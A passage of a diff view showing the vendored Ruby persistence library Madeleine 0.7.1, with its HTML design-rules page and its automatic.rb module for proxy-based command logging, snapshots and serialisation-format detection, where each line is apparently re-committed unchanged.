<h4>Files, network and other IO</h4>
|
||||
<p>You generally can't access the outside world from within your
|
||||
prevalent system. Instead do IO outside of the prevalent system and
|
||||
call into the system when needed.
|
||||
|
||||
<h3>Changes to the system have to be done through command
|
||||
objects</h3>
|
||||
|
||||
<p>Everything that modifies the prevalent system must be done through a
|
||||
<em>command object</em> sent to the Madeleine instance, using
|
||||
<code>execute_command(aCommand)</code>. Queries that don't modify the
|
||||
system can be done either through direct method calls or through
|
||||
command objects.
|
||||
|
||||
<h2>Command Objects</h2>
|
||||
|
||||
<p>A command object is an object that implements the method
|
||||
<code>execute(system)</code>. They are an example of the "Command"
|
||||
design pattern.
|
||||
|
||||
<h3>The command objects also have to be marshallable</h3>
|
||||
|
||||
<p>Madeleine keeps track of changes between snapshots by logging
|
||||
marshalled commands.
|
||||
|
||||
<h3>The command must raise errors before modifying the system</h3>
|
||||
|
||||
<p>Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
|
||||
that your commands will have to do their error checking and raise any
|
||||
errors before modifying the system. Failing to do this will cause an
|
||||
inconsistent command log.
|
||||
|
||||
<h3>Command objects can't hold references to the system's objects</h3>
|
||||
|
||||
<p>Unmarshalling such a command would create clones of the original
|
||||
objects, which would then be modified instead of the real
|
||||
objects. The commands must <i>find</i> the objects to modify.
|
||||
|
||||
<hr>
|
||||
|
||||
<tt>$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $</tt>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
|
||||
<html>
|
||||
<head>
|
||||
<title>Design rules - Madeleine</title>
|
||||
<link type="text/css" href="docs.css" rel="stylesheet">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<h1>Design rules</h1>
|
||||
|
||||
<p>This is a summary of the design rules your application has to
|
||||
follow to work with Madeleine.
|
||||
|
||||
|
||||
<h2>The Prevalent System</h2>
|
||||
|
||||
<h3>Your objects have to fit into memory</h3>
|
||||
|
||||
<p>All of them. At the same time.
|
||||
|
||||
<h3>Your objects have to be marshallable</h3>
|
||||
|
||||
<p>Snapshots are taken of the system by marshalling the whole system to a
|
||||
file. If your classes can't be marshalled/unmarshalled then Madeleine
|
||||
won't be able to store/restore the system.
|
||||
|
||||
<h3>Your objects have to be deterministic</h3>
|
||||
|
||||
<p><em>Deterministic</em> means that, given the same commands, they have
|
||||
to always give the same results.
|
||||
|
||||
<p>For the much of your code this won't
|
||||
be a problem, but there are a few common issues:
|
||||
|
||||
<h4>The system clock</h4>
|
||||
<p>You can't use the system clock (see instead ClockedSystem and TimeActor).
|
||||
|
||||
<h4>Random numbers</h4>
|
||||
<p><code>Kernel.rand()</code> uses the system clock internally by
|
||||
default. Use <code>Kernel.srand()</code> to seed the random number
|
||||
generator before using <code>rand()</code>.
|
||||
|
||||
<h4>Files, network and other IO</h4>
|
||||
<p>You generally can't access the outside world from within your
|
||||
prevalent system. Instead do IO outside of the prevalent system and
|
||||
call into the system when needed.
|
||||
|
||||
<h3>Changes to the system have to be done through command
|
||||
objects</h3>
|
||||
|
||||
<p>Everything that modifies the prevalent system must be done through a
|
||||
<em>command object</em> sent to the Madeleine instance, using
|
||||
<code>execute_command(aCommand)</code>. Queries that don't modify the
|
||||
system can be done either through direct method calls or through
|
||||
command objects.
|
||||
|
||||
<h2>Command Objects</h2>
|
||||
|
||||
<p>A command object is an object that implements the method
|
||||
<code>execute(system)</code>. They are an example of the "Command"
|
||||
design pattern.
|
||||
|
||||
<h3>The command objects also have to be marshallable</h3>
|
||||
|
||||
<p>Madeleine keeps track of changes between snapshots by logging
|
||||
marshalled commands.
|
||||
|
||||
<h3>The command must raise errors before modifying the system</h3>
|
||||
|
||||
<p>Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
|
||||
that your commands will have to do their error checking and raise any
|
||||
errors before modifying the system. Failing to do this will cause an
|
||||
inconsistent command log.
|
||||
|
||||
<h3>Command objects can't hold references to the system's objects</h3>
|
||||
|
||||
<p>Unmarshalling such a command would create clones of the original
|
||||
objects, which would then be modified instead of the real
|
||||
objects. The commands must <i>find</i> the objects to modify.
|
||||
|
||||
<hr>
|
||||
|
||||
<tt>$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $</tt>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
|
836
vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
vendored
836
vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
vendored
|
@ -1,418 +1,418 @@
|
|||
require 'yaml'
|
||||
require 'madeleine/zmarshal'
|
||||
require 'soap/marshal'
|
||||
|
||||
module Madeleine
|
||||
|
||||
# Automatic commands for Madeleine
|
||||
#
|
||||
# Author:: Stephen Sykes <sds@stephensykes.com>
|
||||
# Copyright:: Copyright (C) 2003-2004
|
||||
# Version:: 0.41
|
||||
#
|
||||
# This module provides a way of automatically generating command objects for madeleine to
|
||||
# store. It works by making a proxy object for all objects of any classes in which it is included.
|
||||
# Method calls to these objects are intercepted, and stored as a command before being
|
||||
# passed on to the real receiver. The command objects remember which object the command was
|
||||
# destined for by using a pair of internal ids that are contained in each of the proxy objects.
|
||||
#
|
||||
# There is also a mechanism for specifying which methods not to intercept calls to by using
|
||||
# automatic_read_only, and its opposite automatic_read_write.
|
||||
#
|
||||
# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass
|
||||
# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.
|
||||
# If the passed marshaller did not successfully deserialize the latest snapshot, the system
|
||||
# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
|
||||
# compressed versions.
|
||||
#
|
||||
# This module is designed to work correctly in the case there are multiple madeleine systems in use by
|
||||
# a single program, and is also safe to use with threads.
|
||||
#
|
||||
# Usage:
|
||||
#
|
||||
# require 'madeleine'
|
||||
# require 'madeleine/automatic'
|
||||
#
|
||||
# class A
|
||||
# include Madeleine::Automatic::Interceptor
|
||||
# attr_reader :foo
|
||||
# automatic_read_only :foo
|
||||
# def initialize(param1, ...)
|
||||
# ...
|
||||
# end
|
||||
# def some_method(paramA, ...)
|
||||
# ...
|
||||
# end
|
||||
# automatic_read_only
|
||||
# def bigfoo
|
||||
# foo.upcase
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
|
||||
#
|
||||
# mad.system.some_method(paramA, ...) # logged as a command by madeleine
|
||||
# print mad.foo # not logged
|
||||
# print mad.bigfoo # not logged
|
||||
# mad.take_snapshot
|
||||
#
|
||||
|
||||
module Automatic
|
||||
#
|
||||
# This module should be included (at the top) in any classes that are to be persisted.
|
||||
# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
|
||||
# It does this by returning a Prox object that is a proxy for the real object.
|
||||
#
|
||||
# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
|
||||
# should be made into commands
|
||||
#
|
||||
module Interceptor
|
||||
#
|
||||
# When included, redefine new so that we can return a Prox object instead, and define methods to handle
|
||||
# keeping track of which methods are read only
|
||||
#
|
||||
def self.included(klass)
|
||||
class <<klass
|
||||
alias_method :_old_new, :new
|
||||
|
||||
def new(*args, &block)
|
||||
Prox.new(_old_new(*args, &block))
|
||||
end
|
||||
#
|
||||
# Called when a method added - remember symbol if read only
|
||||
# This is a good place to add in any superclass's read only methods also
|
||||
#
|
||||
def method_added(symbol)
|
||||
self.instance_eval {
|
||||
@read_only_methods ||= []
|
||||
@auto_read_only_flag ||= false
|
||||
@read_only_methods << symbol if @auto_read_only_flag
|
||||
c = self
|
||||
while (c = c.superclass)
|
||||
if (c.instance_eval {instance_variables.include? "@read_only_methods"})
|
||||
@read_only_methods |= c.instance_eval {@read_only_methods}
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
#
|
||||
# Set the read only flag, or add read only methods
|
||||
#
|
||||
def automatic_read_only(*list)
|
||||
if (list == [])
|
||||
self.instance_eval {@auto_read_only_flag = true}
|
||||
else
|
||||
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods << s}}
|
||||
end
|
||||
end
|
||||
#
|
||||
# Clear the read only flag, or remove read only methods
|
||||
#
|
||||
def automatic_read_write(*list)
|
||||
if (list == [])
|
||||
self.instance_eval {@auto_read_only_flag = false}
|
||||
else
|
||||
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods.delete(s)}}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
#
|
||||
# Return the list of read only methods so Automatic_proxy#method_missing can find what to and what not to make into a command
|
||||
#
|
||||
def read_only_methods
|
||||
self.class.instance_eval {@read_only_methods}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# A Command object is automatically created for each method call to an object within the system that comes from without.
|
||||
# These objects are recorded in the log by Madeleine.
|
||||
#
|
||||
class Command
|
||||
def initialize(symbol, myid, *args)
|
||||
@symbol = symbol
|
||||
@myid = myid
|
||||
@args = args
|
||||
end
|
||||
#
|
||||
# Called by madeleine when the command is done either first time, or when restoring the log
|
||||
#
|
||||
def execute(system)
|
||||
Thread.current[:system].myid2ref(@myid).thing.send(@symbol, *@args)
|
||||
end
|
||||
end
|
||||
#
|
||||
# This is a little class to pass to SnapshotMadeleine. This is used for snapshots only.
|
||||
# It acts as the marshaller, and just passes marshalling requests on to the user specified
|
||||
# marshaller. This defaults to Marshal, but could be YAML or another.
|
||||
# After we have done a restore, the ObjectSpace is searched for instances of Prox to
|
||||
# add new objects to the list in AutomaticSnapshotMadeleine
|
||||
#
|
||||
class Automatic_marshaller #:nodoc:
|
||||
def Automatic_marshaller.load(io)
|
||||
restored_obj = Deserialize.load(io, Thread.current[:system].marshaller)
|
||||
ObjectSpace.each_object(Prox) {|o| Thread.current[:system].restore(o) if (o.sysid == restored_obj.sysid)}
|
||||
restored_obj
|
||||
end
|
||||
def Automatic_marshaller.dump(obj, io = nil)
|
||||
Thread.current[:system].marshaller.dump(obj, io)
|
||||
end
|
||||
end
|
||||
#
|
||||
# A Prox object is generated and returned by Interceptor each time a system object is created.
|
||||
#
|
||||
class Prox #:nodoc:
|
||||
attr_accessor :thing, :myid, :sysid
|
||||
|
||||
def initialize(thing)
|
||||
if (thing)
|
||||
raise "App object created outside of app" unless Thread.current[:system]
|
||||
@sysid = Thread.current[:system].sysid
|
||||
@myid = Thread.current[:system].add(self)
|
||||
@thing = thing
|
||||
end
|
||||
end
|
||||
#
|
||||
# This automatically makes and executes a new Command if a method is called from
|
||||
# outside the system.
|
||||
#
|
||||
def method_missing(symbol, *args, &block)
|
||||
# print "Sending #{symbol} to #{@thing.to_s}, myid=#{@myid}, sysid=#{@sysid}\n"
|
||||
raise NoMethodError, "Undefined method" unless @thing.respond_to?(symbol)
|
||||
if (Thread.current[:system])
|
||||
@thing.send(symbol, *args, &block)
|
||||
else
|
||||
raise "Cannot make command with block" if block_given?
|
||||
Thread.current[:system] = AutomaticSnapshotMadeleine.systems[@sysid]
|
||||
begin
|
||||
if (@thing.read_only_methods.include?(symbol))
|
||||
result = Thread.current[:system].execute_query(Command.new(symbol, @myid, *args))
|
||||
else
|
||||
result = Thread.current[:system].execute_command(Command.new(symbol, @myid, *args))
|
||||
end
|
||||
ensure
|
||||
Thread.current[:system] = false
|
||||
end
|
||||
result
|
||||
end
|
||||
end
|
||||
#
|
||||
# Custom marshalling - this adds the internal id (myid) and the system id to a marshal
|
||||
# of the object we are the proxy for.
|
||||
# We take care to not marshal the same object twice, so circular references will work.
|
||||
# We ignore Thread.current[:system].marshaller here - this is only called by Marshal, and
|
||||
# marshal is always used for Command objects
|
||||
#
|
||||
def _dump(depth)
|
||||
if (Thread.current[:snapshot_memory])
|
||||
if (Thread.current[:snapshot_memory][self])
|
||||
[@myid.to_s, @sysid].pack("A8A30")
|
||||
else
|
||||
Thread.current[:snapshot_memory][self] = true
|
||||
[@myid.to_s, @sysid].pack("A8A30") + Marshal.dump(@thing, depth)
|
||||
end
|
||||
else
|
||||
[@myid.to_s, @sysid].pack("A8A30") # never marshal a prox object in a command, just ref
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Custom marshalling for Marshal - restore a Prox object.
|
||||
#
|
||||
def Prox._load(str)
|
||||
x = Prox.new(nil)
|
||||
a = str.unpack("A8A30a*")
|
||||
x.myid = a[0].to_i
|
||||
x.sysid = a[1]
|
||||
x = Thread.current[:system].restore(x)
|
||||
x.thing = Marshal.load(a[2]) if (a[2] > "")
|
||||
x
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# The AutomaticSnapshotMadeleine class contains an instance of the persister
|
||||
# (default is SnapshotMadeleine) and provides additional automatic functionality.
|
||||
#
|
||||
# The class is instantiated the same way as SnapshotMadeleine:
|
||||
# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
|
||||
# The second initialisation parameter is the persister. Supported persisters are:
|
||||
#
|
||||
# * Marshal (default)
|
||||
# * YAML
|
||||
# * SOAP::Marshal
|
||||
# * Madeleine::ZMarshal.new(Marshal)
|
||||
# * Madeleine::ZMarshal.new(YAML)
|
||||
# * Madeleine::ZMarshal.new(SOAP::Marshal)
|
||||
#
|
||||
# The class keeps a record of all the systems that currently exist.
|
||||
# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
|
||||
#
|
||||
# We also add functionality to take_snapshot in order to set things up so that the custom Prox object
|
||||
# marshalling will work correctly.
|
||||
#
|
||||
class AutomaticSnapshotMadeleine
|
||||
attr_accessor :marshaller
|
||||
attr_reader :list, :sysid
|
||||
|
||||
def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
|
||||
@sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
|
||||
@myid_count = 0
|
||||
@list = {}
|
||||
Thread.current[:system] = self # during system startup system should not create commands
|
||||
Thread.critical = true
|
||||
@@systems ||= {} # holds systems by sysid
|
||||
@@systems[@sysid] = self
|
||||
Thread.critical = false
|
||||
@marshaller = marshaller # until attrb
|
||||
begin
|
||||
@persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
|
||||
@list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid
|
||||
begin
|
||||
ObjectSpace._id2ref(v).sysid = @sysid
|
||||
false
|
||||
rescue RangeError
|
||||
true # Id was to a GC'd object, delete it
|
||||
end
|
||||
}
|
||||
ensure
|
||||
Thread.current[:system] = false
|
||||
end
|
||||
end
|
||||
#
|
||||
# Add a proxy object to the list, return the myid for that object
|
||||
#
|
||||
def add(proxo)
|
||||
@list[@myid_count += 1] = proxo.object_id
|
||||
@myid_count
|
||||
end
|
||||
#
|
||||
# Restore a marshalled proxy object to list - myid_count is increased as required.
|
||||
# If the object already exists in the system then the existing object must be used.
|
||||
#
|
||||
def restore(proxo)
|
||||
if (@list[proxo.myid])
|
||||
proxo = myid2ref(proxo.myid)
|
||||
else
|
||||
@list[proxo.myid] = proxo.object_id
|
||||
@myid_count = proxo.myid if (@myid_count < proxo.myid)
|
||||
end
|
||||
proxo
|
||||
end
|
||||
#
|
||||
# Returns a reference to the object indicated by the internal id supplied.
|
||||
#
|
||||
def myid2ref(myid)
|
||||
raise "Internal id #{myid} not found" unless objid = @list[myid]
|
||||
ObjectSpace._id2ref(objid)
|
||||
end
|
||||
#
|
||||
# Take a snapshot of the system.
|
||||
#
|
||||
def take_snapshot
|
||||
begin
|
||||
Thread.current[:system] = self
|
||||
Thread.current[:snapshot_memory] = {}
|
||||
@persister.take_snapshot
|
||||
ensure
|
||||
Thread.current[:snapshot_memory] = nil
|
||||
Thread.current[:system] = false
|
||||
end
|
||||
end
|
||||
#
|
||||
# Returns the hash containing the systems.
|
||||
#
|
||||
def AutomaticSnapshotMadeleine.systems
|
||||
@@systems
|
||||
end
|
||||
#
|
||||
# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new
|
||||
# system before GC gets them
|
||||
#
|
||||
def close
|
||||
begin
|
||||
@list.each_key {|k| myid2ref(k).sysid = nil}
|
||||
rescue RangeError
|
||||
# do nothing
|
||||
end
|
||||
@persister.close
|
||||
end
|
||||
|
||||
#
|
||||
# Pass on any other calls to the persister
|
||||
#
|
||||
def method_missing(symbol, *args, &block)
|
||||
@persister.send(symbol, *args, &block)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
module Deserialize #:nodoc:
|
||||
#
|
||||
# Detect format of an io stream. Leave it rewound.
|
||||
#
|
||||
def Deserialize.detect(io)
|
||||
c = io.getc
|
||||
c1 = io.getc
|
||||
io.rewind
|
||||
if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
|
||||
Marshal
|
||||
elsif (c == 31 && c1 == 139) # gzip magic numbers
|
||||
ZMarshal
|
||||
else
|
||||
while (s = io.gets)
|
||||
break if (s !~ /^\s*$/) # ignore blank lines
|
||||
end
|
||||
io.rewind
|
||||
if (s && s =~ /^\s*<\?[xX][mM][lL]/) # "<?xml" begins an xml serialization
|
||||
SOAP::Marshal
|
||||
else
|
||||
while (s = io.gets)
|
||||
break if (s !~ /^\s*#/ && s !~ /^\s*$/) # ignore blank and comment lines
|
||||
end
|
||||
io.rewind
|
||||
if (s && s =~ /^\s*---/) # "---" is the yaml header
|
||||
YAML
|
||||
else
|
||||
nil # failed to detect
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
#
|
||||
# Try to deserialize object. If there was an error, try to detect marshal format,
|
||||
# and return deserialized object using the right marshaller
|
||||
# If detection didn't work, raise up the exception
|
||||
#
|
||||
def Deserialize.load(io, marshaller=Marshal)
|
||||
begin
|
||||
marshaller.load(io)
|
||||
rescue Exception => e
|
||||
io.rewind
|
||||
detected_marshaller = detect(io)
|
||||
if (detected_marshaller == ZMarshal)
|
||||
zio = Zlib::GzipReader.new(io)
|
||||
detected_zmarshaller = detect(zio)
|
||||
zio.finish
|
||||
io.rewind
|
||||
if (detected_zmarshaller)
|
||||
ZMarshal.new(detected_zmarshaller).load(io)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
elsif (detected_marshaller)
|
||||
detected_marshaller.load(io)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine
|
||||
require 'yaml'
|
||||
require 'madeleine/zmarshal'
|
||||
require 'soap/marshal'
|
||||
|
||||
module Madeleine
|
||||
|
||||
# Automatic commands for Madeleine
|
||||
#
|
||||
# Author:: Stephen Sykes <sds@stephensykes.com>
|
||||
# Copyright:: Copyright (C) 2003-2004
|
||||
# Version:: 0.41
|
||||
#
|
||||
# This module provides a way of automatically generating command objects for madeleine to
|
||||
# store. It works by making a proxy object for all objects of any classes in which it is included.
|
||||
# Method calls to these objects are intercepted, and stored as a command before being
|
||||
# passed on to the real receiver. The command objects remember which object the command was
|
||||
# destined for by using a pair of internal ids that are contained in each of the proxy objects.
|
||||
#
|
||||
# There is also a mechanism for specifying which methods not to intercept calls to by using
|
||||
# automatic_read_only, and its opposite automatic_read_write.
|
||||
#
|
||||
# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass
|
||||
# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.
|
||||
# If the passed marshaller did not successfully deserialize the latest snapshot, the system
|
||||
# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
|
||||
# compressed versions.
|
||||
#
|
||||
# This module is designed to work correctly in the case there are multiple madeleine systems in use by
|
||||
# a single program, and is also safe to use with threads.
|
||||
#
|
||||
# Usage:
|
||||
#
|
||||
# require 'madeleine'
|
||||
# require 'madeleine/automatic'
|
||||
#
|
||||
# class A
|
||||
# include Madeleine::Automatic::Interceptor
|
||||
# attr_reader :foo
|
||||
# automatic_read_only :foo
|
||||
# def initialize(param1, ...)
|
||||
# ...
|
||||
# end
|
||||
# def some_method(paramA, ...)
|
||||
# ...
|
||||
# end
|
||||
# automatic_read_only
|
||||
# def bigfoo
|
||||
# foo.upcase
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
|
||||
#
|
||||
# mad.system.some_method(paramA, ...) # logged as a command by madeleine
|
||||
# print mad.foo # not logged
|
||||
# print mad.bigfoo # not logged
|
||||
# mad.take_snapshot
|
||||
#
|
||||
|
||||
module Automatic
|
||||
#
|
||||
# This module should be included (at the top) in any classes that are to be persisted.
|
||||
# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
|
||||
# It does this by returning a Prox object that is a proxy for the real object.
|
||||
#
|
||||
# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
|
||||
# should be made into commands
|
||||
#
|
||||
module Interceptor
|
||||
#
|
||||
# When included, redefine new so that we can return a Prox object instead, and define methods to handle
|
||||
# keeping track of which methods are read only
|
||||
#
|
||||
def self.included(klass)
|
||||
class <<klass
|
||||
alias_method :_old_new, :new
|
||||
|
||||
def new(*args, &block)
|
||||
Prox.new(_old_new(*args, &block))
|
||||
end
|
||||
#
|
||||
# Called when a method added - remember symbol if read only
|
||||
# This is a good place to add in any superclass's read only methods also
|
||||
#
|
||||
def method_added(symbol)
|
||||
self.instance_eval {
|
||||
@read_only_methods ||= []
|
||||
@auto_read_only_flag ||= false
|
||||
@read_only_methods << symbol if @auto_read_only_flag
|
||||
c = self
|
||||
while (c = c.superclass)
|
||||
if (c.instance_eval {instance_variables.include? "@read_only_methods"})
|
||||
@read_only_methods |= c.instance_eval {@read_only_methods}
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
#
|
||||
# Set the read only flag, or add read only methods
|
||||
#
|
||||
def automatic_read_only(*list)
|
||||
if (list == [])
|
||||
self.instance_eval {@auto_read_only_flag = true}
|
||||
else
|
||||
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods << s}}
|
||||
end
|
||||
end
|
||||
#
|
||||
# Clear the read only flag, or remove read only methods
|
||||
#
|
||||
def automatic_read_write(*list)
|
||||
if (list == [])
|
||||
self.instance_eval {@auto_read_only_flag = false}
|
||||
else
|
||||
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods.delete(s)}}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
#
|
||||
# Return the list of read only methods so Automatic_proxy#method_missing can find what to and what not to make into a command
|
||||
#
|
||||
def read_only_methods
|
||||
self.class.instance_eval {@read_only_methods}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# A Command object is automatically created for each method call to an object within the system that comes from without.
|
||||
# These objects are recorded in the log by Madeleine.
|
||||
#
|
||||
class Command
|
||||
def initialize(symbol, myid, *args)
|
||||
@symbol = symbol
|
||||
@myid = myid
|
||||
@args = args
|
||||
end
|
||||
#
|
||||
# Called by madeleine when the command is done either first time, or when restoring the log
|
||||
#
|
||||
def execute(system)
|
||||
Thread.current[:system].myid2ref(@myid).thing.send(@symbol, *@args)
|
||||
end
|
||||
end
|
||||
#
|
||||
# This is a little class to pass to SnapshotMadeleine. This is used for snapshots only.
|
||||
# It acts as the marshaller, and just passes marshalling requests on to the user specified
|
||||
# marshaller. This defaults to Marshal, but could be YAML or another.
|
||||
# After we have done a restore, the ObjectSpace is searched for instances of Prox to
|
||||
# add new objects to the list in AutomaticSnapshotMadeleine
|
||||
#
|
||||
class Automatic_marshaller #:nodoc:
|
||||
def Automatic_marshaller.load(io)
|
||||
restored_obj = Deserialize.load(io, Thread.current[:system].marshaller)
|
||||
ObjectSpace.each_object(Prox) {|o| Thread.current[:system].restore(o) if (o.sysid == restored_obj.sysid)}
|
||||
restored_obj
|
||||
end
|
||||
def Automatic_marshaller.dump(obj, io = nil)
|
||||
Thread.current[:system].marshaller.dump(obj, io)
|
||||
end
|
||||
end
|
||||
#
|
||||
# A Prox object is generated and returned by Interceptor each time a system object is created.
|
||||
#
|
||||
class Prox #:nodoc:
|
||||
attr_accessor :thing, :myid, :sysid
|
||||
|
||||
def initialize(thing)
|
||||
if (thing)
|
||||
raise "App object created outside of app" unless Thread.current[:system]
|
||||
@sysid = Thread.current[:system].sysid
|
||||
@myid = Thread.current[:system].add(self)
|
||||
@thing = thing
|
||||
end
|
||||
end
|
||||
#
|
||||
# This automatically makes and executes a new Command if a method is called from
|
||||
# outside the system.
|
||||
#
|
||||
def method_missing(symbol, *args, &block)
|
||||
# print "Sending #{symbol} to #{@thing.to_s}, myid=#{@myid}, sysid=#{@sysid}\n"
|
||||
raise NoMethodError, "Undefined method" unless @thing.respond_to?(symbol)
|
||||
if (Thread.current[:system])
|
||||
@thing.send(symbol, *args, &block)
|
||||
else
|
||||
raise "Cannot make command with block" if block_given?
|
||||
Thread.current[:system] = AutomaticSnapshotMadeleine.systems[@sysid]
|
||||
begin
|
||||
if (@thing.read_only_methods.include?(symbol))
|
||||
result = Thread.current[:system].execute_query(Command.new(symbol, @myid, *args))
|
||||
else
|
||||
result = Thread.current[:system].execute_command(Command.new(symbol, @myid, *args))
|
||||
end
|
||||
ensure
|
||||
Thread.current[:system] = false
|
||||
end
|
||||
result
|
||||
end
|
||||
end
|
||||
#
|
||||
# Custom marshalling - this adds the internal id (myid) and the system id to a marshal
|
||||
# of the object we are the proxy for.
|
||||
# We take care to not marshal the same object twice, so circular references will work.
|
||||
# We ignore Thread.current[:system].marshaller here - this is only called by Marshal, and
|
||||
# marshal is always used for Command objects
|
||||
#
|
||||
def _dump(depth)
|
||||
if (Thread.current[:snapshot_memory])
|
||||
if (Thread.current[:snapshot_memory][self])
|
||||
[@myid.to_s, @sysid].pack("A8A30")
|
||||
else
|
||||
Thread.current[:snapshot_memory][self] = true
|
||||
[@myid.to_s, @sysid].pack("A8A30") + Marshal.dump(@thing, depth)
|
||||
end
|
||||
else
|
||||
[@myid.to_s, @sysid].pack("A8A30") # never marshal a prox object in a command, just ref
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Custom marshalling for Marshal - restore a Prox object.
|
||||
#
|
||||
def Prox._load(str)
|
||||
x = Prox.new(nil)
|
||||
a = str.unpack("A8A30a*")
|
||||
x.myid = a[0].to_i
|
||||
x.sysid = a[1]
|
||||
x = Thread.current[:system].restore(x)
|
||||
x.thing = Marshal.load(a[2]) if (a[2] > "")
|
||||
x
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# The AutomaticSnapshotMadeleine class contains an instance of the persister
|
||||
# (default is SnapshotMadeleine) and provides additional automatic functionality.
|
||||
#
|
||||
# The class is instantiated the same way as SnapshotMadeleine:
|
||||
# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
|
||||
# The second initialisation parameter is the persister. Supported persisters are:
|
||||
#
|
||||
# * Marshal (default)
|
||||
# * YAML
|
||||
# * SOAP::Marshal
|
||||
# * Madeleine::ZMarshal.new(Marshal)
|
||||
# * Madeleine::ZMarshal.new(YAML)
|
||||
# * Madeleine::ZMarshal.new(SOAP::Marshal)
|
||||
#
|
||||
# The class keeps a record of all the systems that currently exist.
|
||||
# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
|
||||
#
|
||||
# We also add functionality to take_snapshot in order to set things up so that the custom Prox object
|
||||
# marshalling will work correctly.
|
||||
#
|
||||
class AutomaticSnapshotMadeleine
|
||||
attr_accessor :marshaller
|
||||
attr_reader :list, :sysid
|
||||
|
||||
def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
|
||||
@sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
|
||||
@myid_count = 0
|
||||
@list = {}
|
||||
Thread.current[:system] = self # during system startup system should not create commands
|
||||
Thread.critical = true
|
||||
@@systems ||= {} # holds systems by sysid
|
||||
@@systems[@sysid] = self
|
||||
Thread.critical = false
|
||||
@marshaller = marshaller # until attrb
|
||||
begin
|
||||
@persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
|
||||
@list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid
|
||||
begin
|
||||
ObjectSpace._id2ref(v).sysid = @sysid
|
||||
false
|
||||
rescue RangeError
|
||||
true # Id was to a GC'd object, delete it
|
||||
end
|
||||
}
|
||||
ensure
|
||||
Thread.current[:system] = false
|
||||
end
|
||||
end
|
||||
#
|
||||
# Add a proxy object to the list, return the myid for that object
|
||||
#
|
||||
def add(proxo)
|
||||
@list[@myid_count += 1] = proxo.object_id
|
||||
@myid_count
|
||||
end
|
||||
#
|
||||
# Restore a marshalled proxy object to list - myid_count is increased as required.
|
||||
# If the object already exists in the system then the existing object must be used.
|
||||
#
|
||||
def restore(proxo)
|
||||
if (@list[proxo.myid])
|
||||
proxo = myid2ref(proxo.myid)
|
||||
else
|
||||
@list[proxo.myid] = proxo.object_id
|
||||
@myid_count = proxo.myid if (@myid_count < proxo.myid)
|
||||
end
|
||||
proxo
|
||||
end
|
||||
#
|
||||
# Returns a reference to the object indicated by the internal id supplied.
|
||||
#
|
||||
def myid2ref(myid)
|
||||
raise "Internal id #{myid} not found" unless objid = @list[myid]
|
||||
ObjectSpace._id2ref(objid)
|
||||
end
|
||||
#
|
||||
# Take a snapshot of the system.
|
||||
#
|
||||
def take_snapshot
|
||||
begin
|
||||
Thread.current[:system] = self
|
||||
Thread.current[:snapshot_memory] = {}
|
||||
@persister.take_snapshot
|
||||
ensure
|
||||
Thread.current[:snapshot_memory] = nil
|
||||
Thread.current[:system] = false
|
||||
end
|
||||
end
|
||||
#
|
||||
# Returns the hash containing the systems.
|
||||
#
|
||||
def AutomaticSnapshotMadeleine.systems
|
||||
@@systems
|
||||
end
|
||||
#
|
